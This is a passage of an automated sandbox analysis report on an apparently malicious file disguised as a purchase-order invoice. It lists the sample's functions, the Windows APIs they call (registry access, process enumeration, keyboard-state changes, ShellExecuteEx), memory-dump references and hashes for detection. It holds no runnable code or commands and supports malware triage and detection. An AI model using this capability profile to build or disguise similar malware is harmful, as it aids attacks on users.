                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MetricsSystem
                                                                                            • String ID:
                                                                                            • API String ID: 4116985748-0
                                                                                            • Opcode ID: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                                            • Instruction ID: 1e23dbab6d9439f1299be2c39bdf7de0481ead398f869a6d5eaf0ea33fa99bdf
                                                                                            • Opcode Fuzzy Hash: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                                            • Instruction Fuzzy Hash: 8EA19C70608701DBE314CF68C984B6BBBE1FB88704F14491EFA8593251E778F965CB5A
                                                                                            Function 0046AB70 Relevance: 10.8, APIs: 7, Instructions: 260registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AC62
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ConnectRegistry_wcslen
                                                                                            • String ID:
                                                                                            • API String ID: 535477410-0
                                                                                            • Opcode ID: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                                            • Instruction ID: 71109d01e6e71572d3d886d5d9f1e4ab699fb1be984f768d753da2f0a00da466
                                                                                            • Opcode Fuzzy Hash: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                                            • Instruction Fuzzy Hash: BBA18EB1204300AFC710EF65C885B1BB7E4BF85704F14896EF685AB292D779E905CB9B
                                                                                            Function 0045377F Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                              • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                            • _memset.LIBCMT ref: 004538C4
                                                                                            • GetMenuItemInfoW.USER32(?,?), ref: 004538EF
                                                                                            • _wcslen.LIBCMT ref: 00453960
                                                                                            • SetMenuItemInfoW.USER32(00000011,?,00000000,?), ref: 004539C4
                                                                                            • SetMenuDefaultItem.USER32(?,000000FF,00000000,?,?), ref: 004539E0
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ItemMenu$Info_wcslen$Default_memset_wcscpy
                                                                                            • String ID: 0
                                                                                            • API String ID: 3530711334-4108050209
                                                                                            • Opcode ID: c8c2b72c749714a23e45c10816ef9459d7fe91b5f095051f547869ed1843acb9
                                                                                            • Instruction ID: 97d09e0af2b4d046480d7fb626e7fa0667c22e7462995616ff61acde959b3bac
                                                                                            • Opcode Fuzzy Hash: c8c2b72c749714a23e45c10816ef9459d7fe91b5f095051f547869ed1843acb9
                                                                                            • Instruction Fuzzy Hash: 747118F15083015AD714DF65C881B6BB7E4EB98396F04491FFD8082292D7BCDA4CC7AA
                                                                                            Function 0047395A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCurrentProcessId.KERNEL32(?), ref: 00473A00
                                                                                            • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00473A0E
                                                                                            • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00473A34
                                                                                            • CloseHandle.KERNEL32(00000000,00000000,?,00000028), ref: 00473C01
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Process$CloseCountersCurrentHandleOpen
                                                                                            • String ID: HH
                                                                                            • API String ID: 3488606520-2761332787
                                                                                            • Opcode ID: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                            • Instruction ID: 2161edc7e7eefe464b48455ffcea7dd3157e2cbe85e131cccd8837112284b0a3
                                                                                            • Opcode Fuzzy Hash: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                            • Instruction Fuzzy Hash: 3581BF71A043019FD320EF69C882B5BF7E4AF84744F108C2EF598AB392D675E945CB96
                                                                                            Function 004472C8 Relevance: 10.7, APIs: 7, Instructions: 207COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                              • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                              • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                              • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                              • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                            • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                            • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                            • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                            • LineTo.GDI32(?,?), ref: 004474BF
                                                                                            • CloseFigure.GDI32(?), ref: 004474C6
                                                                                            • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                            • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                            • String ID:
                                                                                            • API String ID: 4082120231-0
                                                                                            • Opcode ID: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                            • Instruction ID: e2e17d079c8faeb919f1a119f9aa9df975eabc7d00289576b12f70c1741c819b
                                                                                            • Opcode Fuzzy Hash: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                            • Instruction Fuzzy Hash: BC713AB11083419FD300DF15C884E6BBBE9EFC9708F148A1EF99497351D778A906CBAA
                                                                                            Function 00447303 Relevance: 10.7, APIs: 7, Instructions: 192COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                              • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                              • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                              • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                              • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                            • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                            • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                            • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                            • LineTo.GDI32(?,?), ref: 004474BF
                                                                                            • CloseFigure.GDI32(?), ref: 004474C6
                                                                                            • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                            • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                            • String ID:
                                                                                            • API String ID: 4082120231-0
                                                                                            • Opcode ID: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                                            • Instruction ID: 71053adf7dd607ae91079c2ca5de7ffea4483cc305881a9741cc2e8bc8d6f2cf
                                                                                            • Opcode Fuzzy Hash: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                                            • Instruction Fuzzy Hash: 55613BB51083419FD300DF55CC84E6BBBE9EBC9308F148A1EF99597351D738A906CB6A
                                                                                            Function 0044733D Relevance: 10.7, APIs: 7, Instructions: 177COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AngleCloseEllipseFigureLineMovePixelRectangle
                                                                                            • String ID:
                                                                                            • API String ID: 288456094-0
                                                                                            • Opcode ID: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                                            • Instruction ID: d3db7697bfba14f4a3ad6627a8a5faa1010559558ae5e3f89cc6b0bd66950af4
                                                                                            • Opcode Fuzzy Hash: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                                            • Instruction Fuzzy Hash: 90514BB51082419FD300DF15CC84E6BBBE9EFC9308F14891EF99497351D734A906CB6A
                                                                                            Function 0044496C Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetParent.USER32(?), ref: 004449B0
                                                                                            • GetKeyboardState.USER32(?), ref: 004449C3
                                                                                            • SetKeyboardState.USER32(?), ref: 00444A0F
                                                                                            • PostMessageW.USER32(?,00000101,00000010,?), ref: 00444A3F
                                                                                            • PostMessageW.USER32(?,00000101,00000011,?), ref: 00444A60
                                                                                            • PostMessageW.USER32(?,00000101,00000012,?), ref: 00444AAC
                                                                                            • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00444AD1
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessagePost$KeyboardState$Parent
                                                                                            • String ID:
                                                                                            • API String ID: 87235514-0
                                                                                            • Opcode ID: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                            • Instruction ID: 19c159416ad4887e81d4090d30fbb5c505c675cee05c330e2fd8e115592bd25d
                                                                                            • Opcode Fuzzy Hash: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                            • Instruction Fuzzy Hash: B651C5A05487D139F7369234884ABA7BFD55F8A304F08CA4EF1E5156C3D2ECE984C769
                                                                                            Function 00444B65 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetParent.USER32(?), ref: 00444BA9
                                                                                            • GetKeyboardState.USER32(?), ref: 00444BBC
                                                                                            • SetKeyboardState.USER32(?), ref: 00444C08
                                                                                            • PostMessageW.USER32(?,00000100,00000010,?), ref: 00444C35
                                                                                            • PostMessageW.USER32(?,00000100,00000011,?), ref: 00444C53
                                                                                            • PostMessageW.USER32(?,00000100,00000012,?), ref: 00444C9C
                                                                                            • PostMessageW.USER32(?,00000100,0000005B,?), ref: 00444CBE
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessagePost$KeyboardState$Parent
                                                                                            • String ID:
                                                                                            • API String ID: 87235514-0
                                                                                            • Opcode ID: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                            • Instruction ID: 4493abccadab05ae7d00f733e1fa63583af0c494729619d74f1516a50adc8d80
                                                                                            • Opcode Fuzzy Hash: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                            • Instruction Fuzzy Hash: A951E4F05097D139F7369364884ABA7BFE46F8A304F088A4EF1D5065C2D2ACE984C769
                                                                                            Function 004498BD Relevance: 10.7, APIs: 7, Instructions: 159COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                                            • Instruction ID: b3b3da583a0ae8cfa3180eda0e634cae40a493ebdfd517dbec9d2fd4fbd82cb1
                                                                                            • Opcode Fuzzy Hash: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                                            • Instruction Fuzzy Hash: 1E513A315082909FE321CF14DC89FABBB64FB46320F18456FF895AB2D1D7649C06D7AA
                                                                                            Function 0046A98D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 158registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AA77
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ConnectRegistry_wcslen
                                                                                            • String ID: HH
                                                                                            • API String ID: 535477410-2761332787
                                                                                            • Opcode ID: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                                            • Instruction ID: 7b41397762752e7dec08e47bcdb2cb2f58790b6f4670524580eb9da3090621e6
                                                                                            • Opcode Fuzzy Hash: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                                            • Instruction Fuzzy Hash: A2516D71208301AFD304EF65C981F5BB7A9BFC4704F40892EF685A7291D678E905CB6B
                                                                                            Function 00457C08 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 00457C34
                                                                                            • _memset.LIBCMT ref: 00457CE8
                                                                                            • ShellExecuteExW.SHELL32(?), ref: 00457D34
                                                                                              • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                              • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                            • CloseHandle.KERNEL32(?), ref: 00457DDD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _memset$CloseExecuteHandleShell_wcscpy_wcslen
                                                                                            • String ID: <$@
                                                                                            • API String ID: 1325244542-1426351568
                                                                                            • Opcode ID: 669f3797eafbd6ea24f738bceaf78c3ad3f6bdf3b3f8ec2a74c9f7251b65f49f
                                                                                            • Instruction ID: 09e461bdfc47c8bdd671eddb31188d347eda7c51057725e13e77015b5001baed
                                                                                            • Opcode Fuzzy Hash: 669f3797eafbd6ea24f738bceaf78c3ad3f6bdf3b3f8ec2a74c9f7251b65f49f
                                                                                            • Instruction Fuzzy Hash: EA510FB55083009FC710EF61D985A5BB7E4AF84709F00492EFD44AB392DB39ED48CB9A
                                                                                            Function 0047375F Relevance: 10.6, APIs: 7, Instructions: 150processCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateToolhelp32Snapshot.KERNEL32(?,?,?,?,?,?,?,?,?,00000002,00000000,00000014), ref: 0047379B
                                                                                            • Process32FirstW.KERNEL32(00000000,?), ref: 004737A8
                                                                                            • __wsplitpath.LIBCMT ref: 004737E1
                                                                                              • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                            • _wcscat.LIBCMT ref: 004737F6
                                                                                            • __wcsicoll.LIBCMT ref: 00473818
                                                                                            • Process32NextW.KERNEL32(00000000,?), ref: 00473844
                                                                                            • CloseHandle.KERNEL32(00000000,00000000,?,?), ref: 00473852
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                            • String ID:
                                                                                            • API String ID: 2547909840-0
                                                                                            • Opcode ID: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                                            • Instruction ID: 8efa427203ffd7a45d167e3a64f6abf3f3640219bb0751621114887cb14f0fc1
                                                                                            • Opcode Fuzzy Hash: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                                            • Instruction Fuzzy Hash: 4751BB71544304A7D720EF61CC86FDBB3E8AF84748F00492EF58957182E775E645C7AA
                                                                                            Function 00455297 Relevance: 10.6, APIs: 7, Instructions: 149windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(?,00001308,?,00000000), ref: 004552B7
                                                                                            • ImageList_Remove.COMCTL32(?,?,?,?), ref: 004552EB
                                                                                            • SendMessageW.USER32(?,0000133D,?,00000002), ref: 004553D3
                                                                                            • DeleteObject.GDI32(?), ref: 0045564E
                                                                                            • DeleteObject.GDI32(?), ref: 0045565C
                                                                                            • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                            • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: DeleteDestroyMessageObjectSend$IconImageList_RemoveWindow
                                                                                            • String ID:
                                                                                            • API String ID: 2354583917-0
                                                                                            • Opcode ID: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                                            • Instruction ID: 19c5dc8500d05a42ca126c51664c70dafe1d1a8ca3b523478e8997b137d6e309
                                                                                            • Opcode Fuzzy Hash: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                                            • Instruction Fuzzy Hash: 77519D30204A419FC714DF24C4A4B7A77E5FB49301F4486AEFD9ACB392DB78A849CB54
                                                                                            Function 0047762A Relevance: 10.6, APIs: 7, Instructions: 140windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                            • GetMenu.USER32 ref: 004776AA
                                                                                            • GetMenuItemCount.USER32(00000000), ref: 004776CC
                                                                                            • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 004776FB
                                                                                            • _wcslen.LIBCMT ref: 0047771A
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
